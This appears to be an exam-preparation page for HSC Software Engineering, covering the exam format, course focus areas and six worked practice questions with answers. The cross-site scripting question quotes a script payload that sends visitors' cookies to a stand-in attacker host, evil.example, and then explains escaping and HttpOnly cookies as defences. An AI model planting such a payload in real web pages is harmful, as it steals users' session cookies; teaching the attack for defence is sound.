HSC Software Engineering: the online exam, the Year 12 focus areas and practice questions

The daily Year 12 Software Engineering paper has 8 original questions worth 25 to 35 marks. It fits in its object-oriented programming, databases and SQL, data structures, and searching and sorting questions. Skip its processor architecture, floating point, regular expression, finite state machine and graph algorithm questions: they aren't in the Software Engineering course specifications. It has no web security or machine learning, so use the questions on this page for those.

The HSC Software Engineering exam

That is NESA's exam specification. Items can share stimulus material, the Year 11 course is assumed knowledge, and an understanding of Python is assumed. NESA's site has an online sample exam. The 2027 HSC written exams run from Wednesday 13 October to Friday 5 November 2027, and the timetable comes out on Friday 30 April 2027.

Your HSC mark is half the exam and half your moderated school assessment. School assessment weights knowledge and understanding at 50% and practical application at 50%; your school sets the tasks, with at most one take-home task worth up to 15%. Band 6 is 90 to 100.

Software Engineering focus areas

The course specifications (updated March 2026) are part of the course and set the depth: data flow diagrams, structure charts, data dictionaries, class diagrams, storyboards and decision trees; Gantt charts; the object-oriented, logic, imperative and functional paradigms; pseudocode and flowcharts; relational databases, SQL and object-relational mapping; front-end frameworks, cross-site scripting and CSS; machine learning with regression and neural networks; testing methods; ASCII and Unicode; and Python. In Victoria, the closest study is VCE Applied Computing: Software Development, whose 2026 exam is on Friday 13 November.

HSC Software Engineering practice questions

We wrote these for this page. Try each before you read the answer.

1. SQL

Question: A Students table has columns student_id, name and year, and an Enrolments table has student_id and course. Write a query listing the names of Year 12 students enrolled in Software Engineering, in alphabetical order. Answer: join the tables on the shared key, filter, then sort:

SELECT Students.name
FROM Students
JOIN Enrolments ON Students.student_id = Enrolments.student_id
WHERE Students.year = 12
  AND Enrolments.course = 'Software Engineering'
ORDER BY Students.name;

2. Cross-site scripting

Question: A forum shows each comment exactly as typed. A user posts <script>fetch('https://evil.example/?c=' + document.cookie)</script>. What happens, and how do you stop it? Answer: this is stored cross-site scripting: the script is saved on the server and runs in every visitor's browser, sending their cookies to the attacker. Stop it by sanitising input and escaping output, so < and > are shown as text rather than run as code, and by marking session cookies HttpOnly so scripts can't read them.

Tell stored and reflected XSS apart in our Hack a Website course, then press Mark.

3. Object-oriented programming

Question: In the Python below, name the OOP feature shown by SavingsAccount(Account) and by the second withdraw, and say what SavingsAccount(100).withdraw(150) returns. Answer: SavingsAccount(Account) is inheritance: it gets balance and the constructor from Account. Redefining withdraw is method overriding, a form of polymorphism. The call returns False, because 150 is more than the balance of 100, and the balance stays 100.

class Account:
    def __init__(self, balance):
        self.balance = balance

    def withdraw(self, amount):
        self.balance -= amount
        return True


class SavingsAccount(Account):
    def withdraw(self, amount):
        if amount > self.balance:
            return False
        self.balance -= amount
        return True

4. Character representation

Question: In ASCII, 'A' is 65 and 'a' is 97. Explain how a program can change a lowercase letter to uppercase using its code. Answer: the codes differ by 32, so subtract 32: in Python, chr(ord('a') - 32) gives 'A'. In binary, 65 is 01000001 and 97 is 01100001, so the change is just clearing one bit. Check the character is between 'a' and 'z' first, or digits and symbols get changed too.

5. Machine learning

Question: A linear regression model trained on past data predicts a server's response time (ms) from the number of users as y = 2.5x + 10. What does it predict for 8 users, and what is the difference between the training and execution cycles? Answer: y = 2.5 × 8 + 10 = 30 ms. In the training cycle the model learns its parameters (here 2.5 and 10) from labelled data; in the execution cycle it uses those fixed parameters to predict for new inputs. Linear regression predicts a continuous value; logistic regression is used for classification.

6. Binary search

Question: At most how many comparisons does a binary search need to find an item in a sorted list of 5000 records? Answer: each comparison halves what is left. 2¹² = 4096 is too small and 2¹³ = 8192 is enough, so at most 13. A linear search could need all 5000. Count the halvings in our Search Algorithms course, then press Mark.

Use the daily paper as a trial

1. Open today's Software Engineering paper and work to the suggested time, about 35 to 40 minutes.
2. Skip the processor architecture, floating point, regular expression, finite state machine and graph algorithm questions.
3. Write code answers in Python, and trace them by hand before you mark.
4. Practise web security, machine learning and the modelling diagrams with the questions on this page and NESA's online sample exam.

Common Software Engineering mistakes

• Forgetting the JOIN condition, which pairs every row with every other row.
• Trusting user input. Sanitise what comes in and escape what goes out, or XSS and SQL injection follow.
• Confusing overriding with overloading. Overriding redefines an inherited method in a subclass.
• Mixing up the training and execution cycles of a machine learning model.
• Using binary search on unsorted data. It only works when the list is sorted.

Read next

Australia · HSCHSC Physics: Exam Format, Modules and Practice QuestionsHSC Physics explained: the exam format and formulae sheet, Modules 5 to 8, how marks and bands work, worked practice questions and free short timed trials.